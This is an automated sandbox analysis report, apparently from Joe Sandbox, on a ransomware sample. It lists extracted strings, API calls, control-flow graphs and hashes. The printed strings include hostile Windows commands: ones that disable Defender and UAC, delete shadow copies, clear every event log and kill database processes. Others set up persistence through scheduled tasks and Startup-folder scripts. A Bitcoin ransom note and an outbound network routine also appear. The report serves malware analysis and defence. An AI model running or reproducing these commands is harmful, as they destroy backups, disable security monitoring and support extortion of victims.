                                          • Xinfecter.exe" (start /d , xrefs: 00869E53, 0086A275
                                          • "%SystemDrive%\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\, xrefs: 00869AAF
                                          • ))goto notend):imertimeout /t 90 /nobreak >NULIF EXIST , xrefs: 0086A7D1
                                          • :\Users\ReadMe.hta", xrefs: 00869B2B
                                          • ):secttwotasklist /fi "ImageName eq , xrefs: 00869FA9
                                          • "%SystemDrive%\Documents and Settings\%username%\Start Menu\Programs\Startup\, xrefs: 00869B04
                                          • Xinfecter.exe" (IF EXIST ", xrefs: 0086A485
                                          • \AppData\S-6748.bat, xrefs: 008695BD
                                          • (goto secttwo:sectonIF EXIST , xrefs: 0086A1C5
                                          • cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.bat, xrefs: 0086AB93
                                          • \AppData\S-2153.bat, xrefs: 0086AB07
                                          • Xinfecter.exe, xrefs: 008696E6, 00869BC6
                                          • schtasks /delete /tn Microsoft_Auto_Scheduler /fIF EXIST "%SystemDrive%\Users\%username%\AppData\S-8459.vbs" (DEL "%SystemDr, xrefs: 0086A831
                                          • (start /d , xrefs: 0086A589
                                          • rem, xrefs: 00869354
                                          • mqzp, xrefs: 00869317
                                          • " /fo csv 2>NUL | find /I ", xrefs: 00869CED, 0086A059
                                          • :\Users\, xrefs: 0086954B, 0086AA27, 0086AADD
                                          • kaj3n, xrefs: 008698C5, 00869C01
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: DeleteErrorFileIos_base_dtorLast__dosmaperrstd::ios_base::_
                                          • String ID: ))goto notend):imertimeout /t 90 /nobreak >NULIF EXIST $):secttwotasklist /fi "ImageName eq $)IF NOT EXIST $schtasks /delete /tn Microsoft_Auto_Scheduler /fIF EXIST "%SystemDrive%\Users\%username%\AppData\S-8459.vbs" (DEL "%SystemDr$ (goto secthree):akakak$ (goto secttwo:sectonIF EXIST $ (start /d $" /fo csv 2>NUL | find /I "$" Xinfecter.exe $"%SystemDrive%\Documents and Settings\%username%\Start Menu\Programs\Startup\$"%SystemDrive%\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$">NULif "%ERRORLEVEL%"=="0" goto imerif %lend% == bed (goto akakak)set lend=bedIF EXIST $">NULif "%ERRORLEVEL%"=="0" goto notendgoto secton:notendtimeout /t 15 /nobreak >NULIF NOT EXIST $:\Users\$:\Users\ReadMe.hta"$@echo offIF EXIST "%SystemDrive%\Users\%username%\AppData\S-8459.vbs" (start "" "%SystemDrive%\Users\%username%\AppData\S-8459.vbs")$@echo offtasklist /v | find /I /c "dcdcf" > nulif "%ERRORLEVEL%" == "0" goto ErrorAlreadyRunningset lend=debvssadmin.exe D$Dim strScriptDim oExec, oWshShellDim ComSpecSet oWshShell = CreateObject("WScript.Shell")ComSpec = oWshShell.ExpandEnvironmentStrings("%comspec%")strScript = ComSpec & " /C echo %SystemDrive%\Users\%username%\AppData\S-6748.bat"Set oExec = oWshShel$Xinfecter.exe$Xinfecter.exe" (IF EXIST "$Xinfecter.exe" (start /d $\AppData\S-2153.bat$\AppData\S-6748.bat$\AppData\S-8459.vbs$a5m6f$cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.bat$kaj3n$l$mqzp$mqzp$rem$rem a5m6f$schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\%username%\AppData\S-2153.bat'" /f$slow
                                          • API String ID: 969238624-430444275
                                          • Opcode ID: 5e071f5046dc2c1be624f6ecb104eb833d00bd9d5c62976f289db1fa85da6e54
                                          • Instruction ID: 3eb57d59af3596af9a89e1097cbc741f109119f98888e3cee5562e6ca4a4b6aa
                                          • Opcode Fuzzy Hash: 5e071f5046dc2c1be624f6ecb104eb833d00bd9d5c62976f289db1fa85da6e54
                                          • Instruction Fuzzy Hash: 81F26770D14258CEDB14DF68C955BAEBBB4FF55308F0042D9E409A72A2EB74AB88CF51
                                          Function 0088D7EF Relevance: 60.3, APIs: 1, Strings: 33, Instructions: 777COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 3652 88d7ef-88d850 call 891900 call 909100 call 893f40 call 8998c0 call 893ed0 3663 88d859-88d951 call 909100 call 876650 call 8a6400 call 909100 call 88ed10 call 909100 call 88eeb0 call 890990 call 8a2d10 call 890990 call 8a2b40 3652->3663 3664 88d854 call 86b0a0 3652->3664 3687 88d957-88d960 3663->3687 3664->3663 3687->3687 3688 88d962-88d9ce call 867e30 call 892270 call 892220 call 891ac0 * 2 3687->3688 3699 88d9d0-88d9d9 3688->3699 3699->3699 3700 88d9db-88d9f1 call 8921f0 3699->3700 3703 88d9f7-88da00 3700->3703 3703->3703 3704 88da02-88da21 call 8746c0 3703->3704 3707 88da26-88da2f 3704->3707 3707->3707 3708 88da31-88da6a call 899d60 call 892270 call 892220 3707->3708 3715 88da70-88da79 3708->3715 3715->3715 3716 88da7b-88dadf call 8923a0 call 867e30 call 892270 call 892220 call 909100 3715->3716 3726 88dae4-88daf6 call 893f40 3716->3726 3728 88dafb-88dc85 call 8996d0 call 899d10 call 899c00 call 863730 call 892220 * 2 call 893ed0 call 891800 call 891820 call 89ac60 call 909100 3726->3728 3751 88dc8a-88dc9c call 893f40 3728->3751 3753 88dca1-88dd2d call 899c20 call 899c00 call 892220 call 899c20 call 899c00 call 892220 call 893ed0 call 8923a0 3751->3753 3769 88dd32-88dd45 call 874e20 3753->3769 3771 88dd4a-88ddc3 call 89a2d0 call 89a3a0 call 89a260 call 8649c0 * 2 call 909100 3769->3771 3783 88ddc8-88ddda call 894290 3771->3783 3785 88dddf-88de6a call 863730 call 894220 3783->3785 3791 88de7b-88de8c call 891a30 call 8823f0 3785->3791 3795 88de91-88df85 call 86ace0 call 8649c0 call 892220 * 2 call 86b0a0 call 892220 call 86b0a0 call 892220 * 5 call 867d70 call 876810 * 2 3791->3795 3826 88df8e-88dff1 call 909100 call 8676c0 call 8a2320 call 8919c0 call 8915f0 3795->3826 3827 88df89 call 86b0a0 3795->3827 3838 88e003-88e309 call 89a570 call 89a260 call 89a3a0 call 89a260 call 89a3a0 call 89a260 call 89a3a0 call 89a260 call 89a3a0 call 89a260 call 891930 call 8649c0 * 10 call 892330 call 891dc0 call 915a02 call 892330 call 891dc0 call 915a02 call 89a570 call 89a260 call 89a3a0 call 89a260 call 89a3a0 call 89a260 call 89a3a0 call 89a260 call 891930 call 8649c0 * 8 call 899830 3826->3838 3839 88dff3-88dffe call 8918d0 3826->3839 3827->3826 3931 88e30f-88e320 call 86f630 3838->3931 3932 88e477-88e488 call 899830 3838->3932 3839->3838 3937 88ec04-88ed02 call 8687e0 call 892220 * 3 call 8649c0 call 8678d0 call 8649c0 * 2 call 892220 * 8 call 8649c0 * 3 call 892220 call 8f0d3b 3931->3937 3938 88e326-88e417 call 89a2d0 call 89a3a0 call 89a260 call 89a3a0 call 89a260 call 89a3a0 call 8649c0 * 5 call 8917f0 * 2 call 916146 3931->3938 3939 88e48e-88e803 call 865130 * 2 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 865330 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 865330 3932->3939 3940 88ebb0-88ebc1 call 899830 3932->3940 4042 88e419-88e460 call 89a400 call 891930 call 8649c0 call 8917f0 * 2 call 916146 3938->4042 4043 88e463-88e472 call 8649c0 3938->4043 4132 88e809-88eb7e call 865130 * 2 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 865330 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 865330 3939->4132 4133 88eb94 3939->4133 3950 88ebf1 3940->3950 3951 88ebc3-88ebd8 call 87e270 * 2 3940->3951 3954 88ebf1 call 87fce0 3950->3954 3951->3937 3976 88ebda-88ebef call 87e270 * 2 3951->3976 3959 88ebf6-88ebfd 3954->3959 3959->3937 3964 88ebff 3959->3964 3964->3937 3969 88ebff call 87fce0 3964->3969 3969->3937 3976->3937 4042->4043 4043->3937 4226 88eb84 call 865240 4132->4226 4135 88eb9a call 865240 4133->4135 4137 88eb9f-88eba5 4135->4137 4138 88eba9 call 865240 4137->4138 4140 88ebae 4138->4140 4140->3937 4227 88eb89 4226->4227 4228 88eb8f call 865240 4227->4228 4228->4133
                                          APIs
                                            • Part of subcall function 0086B0A0: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0086B147
                                            • Part of subcall function 0086AE70: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0086AEE1
                                          • SimpleUString::operator=.MSOBJ140-MSVCRT ref: 0088DFFE
                                            • Part of subcall function 00916146: MoveFileExW.KERNEL32(?,?,00000002), ref: 00916153
                                            • Part of subcall function 00916146: GetLastError.KERNEL32 ref: 0091615D
                                            • Part of subcall function 00916146: __dosmaperr.LIBCMT ref: 00916164
                                          Strings
                                          • taskkill /im msftesql.exe&taskkill /im sqlagent.exe&taskkill /im sqlbrowser.exe&taskkill /im sqlservr.exe&taskkill /im sqlwriter.exe&taskkill /im oracle.exe&taskkill /im ocssd.exe&taskkill /im dbsnmp.exe&taskkill /im synctime.exe&taskkill /im agntsvc.exe&taskk, xrefs: 0088E1A9
                                          • c, xrefs: 0088E2EF
                                          • for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1", xrefs: 0088EC04
                                          • hubert, xrefs: 0088DD69
                                          • Second Email :, xrefs: 0088DFC9
                                          • p2h6, xrefs: 0088DB19, 0088DBE1
                                          • <span class="spnn">, xrefs: 0088E0B3
                                          • </span></br></br>If You Want To Restore Them Email Us : <span class="spnn">, xrefs: 0088E04D
                                          • </span></br></br>To Decrypt Your Files You Need Buy Our Special Decrypter In Bitcoin .</br></br>Every Day The Delay Increases The , xrefs: 0088E0E5
                                          • DOEXI, xrefs: 0088E034, 0088E1C8, 0088E33E
                                          • Telegram , ID :, xrefs: 0088DFF3
                                          • _[ID-, xrefs: 0088E326
                                          • If You Do Not Receive A Response Within 24 Hours, Send A Message To Our , xrefs: 0088E212
                                          • If You Want To Restore Them Email Us : , xrefs: 0088E1E0
                                          • All Your Files Are Locked And Important Data Downloaded !Your Files Are No Longer Accessible Don't Waste Your Time, Without , xrefs: 0088E1CD
                                          • u4g8, xrefs: 0088DCA1
                                          • xER, xrefs: 0088DFE0, 0088E0CC, 0088E25F
                                          • _Mail-, xrefs: 0088E357
                                          • U, xrefs: 0088DE48
                                          • file, xrefs: 0088E2F8
                                          • reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic, xrefs: 0088E17B
                                          • </span></br></br>If You Do Not Receive A Response Within 24 Hours, Send A Message To Our , xrefs: 0088E07F
                                          • n7t0, xrefs: 0088DB06, 0088DBCE
                                          • \AppData\N-Save.sys, xrefs: 0088DD82
                                          • .GVJ, xrefs: 0088DC45, 0088DC52, 0088E3A2
                                          • c, xrefs: 0088E469
                                          • Dflt, xrefs: 0088E2FD
                                          • To Decrypt Your Files You Need Buy Our Special Decrypter In Bitcoin .Every Day The Delay Increases The Price !! The Decryp, xrefs: 0088E27C
                                          • </title><style>.spnn { background-color:yellow;} .xsw{color:white;} .Circe1 {display: list-item;padding-left:30px;}.dives{backgrou, xrefs: 0088E01B
                                          • <html><head><title>, xrefs: 0088E008
                                          • h2gq, xrefs: 0088DCDE
                                          • Z0, xrefs: 0088D931
                                          • :\Users\, xrefs: 0088DD4D
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Ios_base_dtorstd::ios_base::_$ErrorFileLastMoveSimpleString::operator=__dosmaperr
                                          • String ID: If You Do Not Receive A Response Within 24 Hours, Send A Message To Our $If You Want To Restore Them Email Us : $To Decrypt Your Files You Need Buy Our Special Decrypter In Bitcoin .Every Day The Delay Increases The Price !! The Decryp$ <span class="spnn">$.GVJ$:\Users\$</span></br></br>If You Do Not Receive A Response Within 24 Hours, Send A Message To Our $</span></br></br>If You Want To Restore Them Email Us : <span class="spnn">$</span></br></br>To Decrypt Your Files You Need Buy Our Special Decrypter In Bitcoin .</br></br>Every Day The Delay Increases The $</title><style>.spnn { background-color:yellow;} .xsw{color:white;} .Circe1 {display: list-item;padding-left:30px;}.dives{backgrou$<html><head><title>$All Your Files Are Locked And Important Data Downloaded !Your Files Are No Longer Accessible Don't Waste Your Time, Without $DOEXI$Dflt$Second Email :$Telegram , ID :$U$\AppData\N-Save.sys$_Mail-$_[ID-$c$c$file$for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"$h2gq$user$n7t0$p2h6$reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic$taskkill /im msftesql.exe&taskkill /im sqlagent.exe&taskkill /im sqlbrowser.exe&taskkill /im sqlservr.exe&taskkill /im sqlwriter.exe&taskkill /im oracle.exe&taskkill /im ocssd.exe&taskkill /im dbsnmp.exe&taskkill /im synctime.exe&taskkill /im agntsvc.exe&taskk$u4g8$xER$Z0
                                          • API String ID: 4082941153-1244627943
                                          • Opcode ID: 21f61a54dbf45a8bd186aa65dc559f0da1b9158fd71d4d65291e02f7b6e92ac2
                                          • Instruction ID: 1dd54d5ef165972ef6cb6f7f08f0bc07abf3164dcab2f5b82de0d6b005e11fe7
                                          • Opcode Fuzzy Hash: 21f61a54dbf45a8bd186aa65dc559f0da1b9158fd71d4d65291e02f7b6e92ac2
                                          • Instruction Fuzzy Hash: FD726D70D152589ADF24F768DD56BDDB7B8FF61304F4880E8A049A2192EF706B88CB53
                                          Function 00868D10 Relevance: 28.4, APIs: 11, Strings: 5, Instructions: 391networkCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 4989 868d10-868ea6 call 8f1ec0 call 8d9176 call 8996d0 call 8920a0 call 899eb0 call 8920a0 5002 868ee6-868f1d 4989->5002 5003 868ea8-868eb7 4989->5003 5006 868f4e-868f76 5002->5006 5007 868f1f-868f2e 5002->5007 5004 868ecd-868ede call 8f13bc 5003->5004 5005 868eb9-868ec7 5003->5005 5004->5002 5005->5004 5012 8692f1 call 9158b2 5005->5012 5010 868fa7-868fcf 5006->5010 5011 868f78-868f87 5006->5011 5008 868f44-868f4b call 8f13bc 5007->5008 5009 868f30-868f3e 5007->5009 5008->5006 5009->5008 5009->5012 5018 869000-86901c 5010->5018 5019 868fd1-868fe0 5010->5019 5015 868f9d-868fa4 call 8f13bc 5011->5015 5016 868f89-868f97 5011->5016 5023 8692f6-8692fb call 9158b2 5012->5023 5015->5010 5016->5012 5016->5015 5021 869023-86902c 5018->5021 5025 868ff6-868ffd call 8f13bc 5019->5025 5026 868fe2-868ff0 5019->5026 5021->5021 5027 86902e-8690bc WSAStartup socket gethostbyname htons connect 5021->5027 5025->5018 5026->5012 5026->5025 5031 8690c6-8690cf call 891f60 5027->5031 5032 8690be-8690c4 5027->5032 5035 8690d4-8690ef 5031->5035 5032->5031 5032->5035 5037 8690f5-8690fa 5035->5037 5037->5037 5038 8690fc-869121 send 5037->5038 5039 869127-86914c call 891f60 recv 5038->5039 5040 8691cd-8691df closesocket WSACleanup 5038->5040 5039->5040 5047 869152 5039->5047 5041 8691e5-8691ee 5040->5041 5041->5041 5043 8691f0-8691f9 5041->5043 5045 86922a-86924d 5043->5045 5046 8691fb-86920a 5043->5046 5048 869262-869268 5045->5048 5049 86924f-86925a 5045->5049 5050 869220-869227 call 8f13bc 5046->5050 5051 86920c-86921a 5046->5051 5052 869158-86915c 5047->5052 5053 869292-8692aa 5048->5053 5054 86926a-869276 5048->5054 5049->5048 5071 86925c-86925e 5049->5071 5050->5045 5051->5023 5051->5050 5056 869166-869172 5052->5056 5057 86915e-869160 5052->5057 5063 8692d4-8692f0 call 8f0d3b 5053->5063 5064 8692ac-8692b8 5053->5064 5061 869288-86928f call 8f13bc 5054->5061 5062 869278-869286 5054->5062 5058 869174-869180 5056->5058 5059 86918f-8691ac call 89c1f0 5056->5059 5057->5056 5066 869162-869164 5057->5066 5068 869184-86918d 5058->5068 5069 869182 5058->5069 5059->5052 5061->5053 5062->5023 5062->5061 5074 8692ca-8692d1 call 8f13bc 5064->5074 5075 8692ba-8692c8 5064->5075 5066->5056 5067 8691ae-8691cb recv 5066->5067 5067->5040 5067->5047 5068->5052 5069->5068 5071->5048 5074->5063 5075->5023 5075->5074
                                          APIs
                                          • std::locale::_Init.LIBCPMT ref: 00868D8C
                                            • Part of subcall function 008D9176: __EH_prolog3.LIBCMT ref: 008D917D
                                            • Part of subcall function 008D9176: std::_Lockit::_Lockit.LIBCPMT ref: 008D9188
                                            • Part of subcall function 008D9176: std::locale::_Setgloballocale.LIBCPMT ref: 008D91A3
                                            • Part of subcall function 008D9176: std::_Lockit::~_Lockit.LIBCPMT ref: 008D91F9
                                          • WSAStartup.WS2_32(00000202,?), ref: 0086903A
                                          • socket.WS2_32(00000002,00000001,00000006), ref: 0086905A
                                          • gethostbyname.WS2_32(?), ref: 00869072
                                          • htons.WS2_32(00000E02), ref: 0086907F
                                          • connect.WS2_32(?,?,00000010), ref: 008690B4
                                          • send.WS2_32(?,?,?,00000000), ref: 00869119
                                          • recv.WS2_32(?,?,00002710,00000000), ref: 00869144
                                          • recv.WS2_32(?,?,00002710,00000000), ref: 008691C3
                                          • closesocket.WS2_32(?), ref: 008691CE
                                          • WSACleanup.WS2_32 ref: 008691D4
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Lockitrecvstd::_std::locale::_$CleanupH_prolog3InitLockit::_Lockit::~_SetgloballocaleStartupclosesocketconnectgethostbynamehtonssendsocket
                                          • String ID: Connection: close$ HTTP/1.1Host: $GET /$mqzp$off
                                          • API String ID: 928259667-582656740
                                          • Opcode ID: 5caa87b5584eea6f96066b1bc66881d9a0f8ec1bd0b6a494fb026cbf9d325f31
                                          • Instruction ID: c0c04dfc6a3a52dcd9e46911683b27b429692f922ead5fb00f909af66246ce41
                                          • Opcode Fuzzy Hash: 5caa87b5584eea6f96066b1bc66881d9a0f8ec1bd0b6a494fb026cbf9d325f31
                                          • Instruction Fuzzy Hash: BBF1BF30A05259DBEF29CF28CD4CBADBBB5FB45304F1082D9E448A7292DB759A848F51
                                          Function 00874E20 Relevance: 22.2, APIs: 5, Strings: 7, Instructions: 1181COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetWindowTextLengthA.USER32(?), ref: 00875AD7
                                          • GetWindowTextA.USER32(?,00000000,00000001), ref: 00875BA9
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: TextWindow$Length
                                          • String ID: !$P$asykat$asykat$k2ba8v$mqzp$r1d8la
                                          • API String ID: 1006428111-311493656
                                          • Opcode ID: 4aa7a976dd986cb2bb094fe615f82f2f2fa6706845b4b48a05556c4fbe4daf35
                                          • Instruction ID: 445beeb4c70806c5074ce9575a070074dda6be9549991a5dbd880be9383587ed
                                          • Opcode Fuzzy Hash: 4aa7a976dd986cb2bb094fe615f82f2f2fa6706845b4b48a05556c4fbe4daf35
                                          • Instruction Fuzzy Hash: E7A2D370A106588FEB24CF68CC94BADBBB1FF85304F148299E409E7395DBB59A84CF51
                                          Function 008C49B0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 123encryptionCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          APIs
                                          • CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,707A716D,00989528,?,00000000), ref: 008C49F5
                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,0093D008,000000FF,?,008C50F0), ref: 008C49FB
                                          • CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000008), ref: 008C4A0F
                                          • CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000028), ref: 008C4A20
                                          • SetLastError.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,0093D008,000000FF), ref: 008C4A45
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008C4A74
                                          • ___std_exception_copy.LIBVCRUNTIME ref: 008C4AC2
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: AcquireContextCrypt$ErrorLast$Exception@8Throw___std_exception_copy
                                          • String ID: CryptAcquireContext$Crypto++ RNG$mqzp
                                          • API String ID: 636621833-3262203428
                                          • Opcode ID: 418a842066ce5f367ed4ed9cd470c657097253cbc4b486e81042aaced6df254c
                                          • Instruction ID: 95f15fd38ec5c382e8e0fd7c87125e128934cce224098a2ca6921c59272d56f1
                                          • Opcode Fuzzy Hash: 418a842066ce5f367ed4ed9cd470c657097253cbc4b486e81042aaced6df254c
                                          • Instruction Fuzzy Hash: 4C41A2B2A54709BBD710DFA8DC41F9AB7FCFB49B10F10422AF515E7680EBB5A5048B60
                                          Function 008760E0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 164networkCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 6776 8760e0-87612b 6777 87612f-876135 6776->6777 6778 87612d 6776->6778 6779 876137 6777->6779 6780 876139-876175 call 89ac60 call 8920a0 PathIsNetworkPathA 6777->6780 6778->6777 6779->6780 6785 876177-87617c 6780->6785 6786 8761bf 6780->6786 6788 876180-876185 6785->6788 6787 8761c1-8761e1 GetDiskFreeSpaceExW 6786->6787 6789 8761e3-8761e5 6787->6789 6790 87621e-876224 6787->6790 6788->6788 6791 876187-876192 6788->6791 6789->6790 6792 8761e7 6789->6792 6793 876226-876232 6790->6793 6794 87624e-87626c call 8f0d3b 6790->6794 6791->6786 6795 876194-8761a0 call 8f1de0 6791->6795 6797 8761ed-8761ef 6792->6797 6798 8761e9-8761eb 6792->6798 6799 876244-87624b call 8f13bc 6793->6799 6800 876234-876242 6793->6800 6795->6786 6808 8761a2-8761bd MultiByteToWideChar 6795->6808 6797->6790 6805 8761f1-876200 6797->6805 6798->6790 6798->6797 6799->6794 6800->6799 6806 87626d-876272 call 9158b2 6800->6806 6810 876214-876217 6805->6810 6811 876202-876212 6805->6811 6808->6787 6810->6790 6813 876219-87621b 6810->6813 6811->6790 6813->6790
                                          APIs
                                          • PathIsNetworkPathA.SHLWAPI(?,0095AA9C,?,?,?,707A716D), ref: 00876167
                                          • __alloca_probe_16.LIBCMT ref: 00876197
                                          • MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,?,?,?,?,?,?,707A716D), ref: 008761B1
                                          • GetDiskFreeSpaceExW.KERNEL32(00000000,00000000,?,?,?,?,?,?,707A716D), ref: 008761CC
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Path$ByteCharDiskFreeMultiNetworkSpaceWide__alloca_probe_16
                                          • String ID: mqzp
                                          • API String ID: 592574438-955126501
                                          • Opcode ID: 0518ac273edbfe3fa7c96aeaf609e0c595ba96f7d0ef66130f54ff2bb2a4674b
                                          • Instruction ID: 3b6fd1897c99db99761301dd36973ea598f5a28eb81ff53aa9346a712145d3cd
                                          • Opcode Fuzzy Hash: 0518ac273edbfe3fa7c96aeaf609e0c595ba96f7d0ef66130f54ff2bb2a4674b
